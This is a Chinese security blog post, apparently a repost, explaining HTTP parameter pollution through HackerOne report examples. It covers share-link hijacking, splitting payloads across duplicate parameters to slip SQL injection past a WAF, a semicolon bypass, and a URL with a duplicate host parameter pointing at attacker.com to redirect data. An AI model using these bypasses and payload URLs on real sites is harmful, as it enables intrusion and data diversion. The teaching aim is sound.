0x01 前言
本文参考视频https://www.freebuf.com/video/203522.html,我对内容进行了解读,以便大家更好的理解
0x02 什么是参数污染
一个站点,输入两个同名参数,赋值不同。
为什么输入的是同样的参数,不同的网站,实际取得值是不同的?
有些取的是前面参数的值,有些取得是后面参数的值,有些则是前后参数值都取
这其实取决于网站的后端,如下图所示:
举一个简单的FaceBook的例子
现在有这么一个网站,可以把你写的帖子,同时分享到FaceBook
以上是分享到FaceBook后的链接,可以看到有两个参数,一个是u即你分享的帖子网址,一个是quote即你分享的帖子的标题
仔细看quote的值是cats&dogs,为什么渗透测试的时候,要加个&啊,这是为了验证,该网站是否会对参数进行编码,如果&没有被编码,则代表可以拼接任意参数,实现HTTP参数污染
最后,从上面FaceBook的网址,就可以知道,是PHP写的,那么根据上文图片的后端取值逻辑,我们可以知道,PHP取的是后面参数的值
如果我们提交上面的payload,会发生什么呢?
可以看到,攻击已经成功了,因为如果这样拼接参数的话,就代表会产生两个名为u的参数,而在PHP中,取得是后者,所以前面的u参数被忽略了,变成了攻击者的网址
0x03 利用参数污染ByPass WAF
假如说,我们已知某网站存在sql注入,但是WAF会对payload进行拦截,怎么办?
实行参数污染,提交两个同名参数
如果它的后端是Flask的话,它实际取得是第一个参数的值
如果它的后端是django的话,它实际取得是第二个参数的值
如果它的后端是Node,js的Express框架的话,它实际取得是两个参数的值,以数组的形式返回
什么时候可以通过参数污染绕过WAF?
就是当WEB后端和WAF解析HTTP存在差异的时候,即它们取值不同,如WAF只检查第一个参数,但是WEB后端实际取第二个参数的值
如果说,后端和WAF取的是全部的参数的值
我们就可以把payload进行拆分,分别放到多个同名参数里面
0x04 HackerOne真实案例
https://boards.greenhouse.io/embed/job_app?
for=hackerone&token=795069;for=airbnb
&b=https://www.hackerone.com/careers
以上请求,由一个GET方式的ifram表单产生
注意URL包括两个for参数,导致了参数污染
这个洞十分有趣,因为这个洞之前已经被修复了,把&给编码了
但还是被绕过了,值得一提的是,这里是通过分号“;”产生的攻击
如果&被编码或转义了,不妨试试分号
https://twitter.com/intent/tweet?
text=another_site:https://hackerone.com/gorang_joshi
&url=https://owncloud.com/blog-you-can-soon-be-fined/?
url=https://vk.com&original_referer=
https://www.facebook.com/sharer.php?
u=https://hackerone.com/blog/introducing-signal-and-impact?
&u=https://vk.com/durov
以上两个例子,是通过分享功能产生的参数污染
我们将这个链接:https://hackerone.com/blog/introducing-signal-and-impact?&u=https://vk.com/durov发送给受害者,因为里面包含了与分享后的链接的同名参数(URL),所以如果此时受害者想分享这个页面到FaceBook或者Twitter的时候,前面的参数被覆盖了,就会导致攻击
https://www.digits.com/login?consumer_key=9I4iINIyd0R01qEPEwT9IC6RE
&host=https://www.periscope.tv
&host=https://attacker.com
这个请求,会将数据发送到指定的域名(由host参数控制),但是后端对host参数的值设置了白名单,并不能直接篡改host参数,但是如果提交两个host值,而后端只验证第一个host的值,但是实际接受到的是第二个host的值的话,就会实现参数污染
精彩推荐
欢迎关注我的公众号:韬光养晦安全
红蓝对抗日常分享,带给你国际安全视野
原文始发于微信公众号(韬光养晦安全):【HackerOne】HTTP参数污染+真实案例
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论